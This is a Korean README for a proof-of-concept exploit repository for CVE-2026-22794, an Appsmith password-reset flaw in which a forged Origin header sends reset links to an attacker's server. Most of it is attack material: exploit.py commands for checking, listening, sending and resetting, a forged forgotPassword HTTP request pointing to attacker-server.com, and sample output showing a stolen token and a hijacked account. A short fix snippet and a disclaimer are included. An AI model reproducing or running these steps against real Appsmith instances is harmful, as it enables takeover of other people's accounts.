
🔴 CVE-2026-22794 - Appsmith 비밀번호 재설정 계정 탈취 (Origin 헤더 주입) | PoC 익스플로잇 + Nuclei 템플릿
| 필드 | 값 |
|---|
| CVE ID | CVE-2026-22794 |
| 영향을 받는 소프트웨어 | Appsmith (패치 이전 버전) |
| 취약점 유형 | Origin 헤더 주입 |
| 영향 | 완전한 계정 탈취 |
| CVSS 점수 | 9.1 (치명적) |
| 공격 경로 | 네트워크 |
| 공격 복잡성 | 낮음 |
| 필요한 권한 | 없음 |
| 사용자 상호작용 | 필요 (피해자가 링크 클릭) |
Appsmith는 검증 없이 HTTP Origin 헤더를 사용하여 비밀번호 재설정 및 이메일 확인 URL을 구성합니다. 취약한 코드는 Origin 헤더를 비밀번호 재설정 기본 URL에 직접 할당합니다:
userPasswordDTO.setBaseUrl(originHeader);
이를 통해 공격자는 다음을 수행할 수 있습니다:
┌─────────────────────────────────────────────────────────────────┐
│ 공격 흐름 │
└─────────────────────────────────────────────────────────────────┘
┌──────────┐ ┌──────────┐ ┌──────────┐
│ 공격자 │ │ APPSMITH │ │ 피해자 │
└────┬─────┘ └────┬─────┘ └────┬─────┘
│ │ │
│ 1. POST /forgotPassword │ │
│ Origin: attacker.com │ │
│ email: [email protected] │ │
│──────────────────────────────>│ │
│ │ │
│ │ 2. 다음 링크가 포함된 │
│ │ 이메일 전송 │
│ │ attacker.com/reset?token │
│ │──────────────────────────────>│
│ │ │
│ 3. 피해자가 링크 클릭 │ │
│<──────────────────────────────────────────────────────────────│
│ │ │
│ 4. 토큰 캡처 완료! │ │
│ │ │
│ 5. POST /resetPassword │ │
│ token: STOLEN_TOKEN │ │
│ password: attacker123 │ │
│──────────────────────────────>│ │
│ │ │
│ 6. 계정 탈취 성공! ✓ │ │
│ │ │
# 저장소 클론
git clone https://github.com/MalikHamza7/CVE-2026-22794-POC
cd CVE-2026-22794-POC
# 의존성 설치
pip install -r requirements.txt
python exploit.py --target https://appsmith.target.com --check
python exploit.py --listen --port 8080
python exploit.py \
--target https://appsmith.target.com \
--email [email protected] \
--attacker-url https://your-server.com
python exploit.py \
--target https://appsmith.target.com \
--email [email protected] \
--attacker-url https://your-server.com \
--listen --port 8080
python exploit.py \
--target https://appsmith.target.com \
--reset-token CAPTURED_TOKEN \
--new-password "NewP@ssw0rd!"
POST /api/v1/users/forgotPassword HTTP/1.1
Host: appsmith.target.com
Origin: https://attacker-server.com
Content-Type: application/json
{
"email": "[email protected]"
}
비밀번호 재설정 링크: https://attacker-server.com/user/resetPassword?token=abc123xyz...
[+] 수신 요청 캡처 완료!
[*] 경로: /user/resetPassword?token=abc123xyz789...
[!!!] 비밀번호 재설정 토큰 캡처 완료!
[!!!] 토큰: abc123xyz789...
[+] 계정 탈취 성공!
[+] 비밀번호가 다음으로 재설정되었습니다: NewP@ssw0rd!
Appsmith를 사용하는 조직은 다음을 수행해야 합니다:
// ❌ 취약한 코드
userPasswordDTO.setBaseUrl(originHeader);
// ✅ 안전한 코드
String configuredBaseUrl = applicationConfiguration.getBaseUrl();
// 또는 화이트리스트와 대조하여 검증
if (!allowedOrigins.contains(originHeader)) {
throw new InvalidOriginException("잘못된 origin 헤더");
}
userPasswordDTO.setBaseUrl(configuredBaseUrl);
CVE-2026-22794/
├── README.md # 이 파일
├── exploit.py # 주요 익스플로잇 스크립트
├── requirements.txt # Python 의존성
├── LICENSE # MIT 라이선스
└── docs/
└── technical_analysis.md # 상세 취약점 분석
이 도구는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다.
보안 연구원
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다 - 자세한 내용은 LICENSE 파일을 참조하십시오.
⭐ 유용하다고 생각되면 저장소에 스타를 남겨주세요! ⭐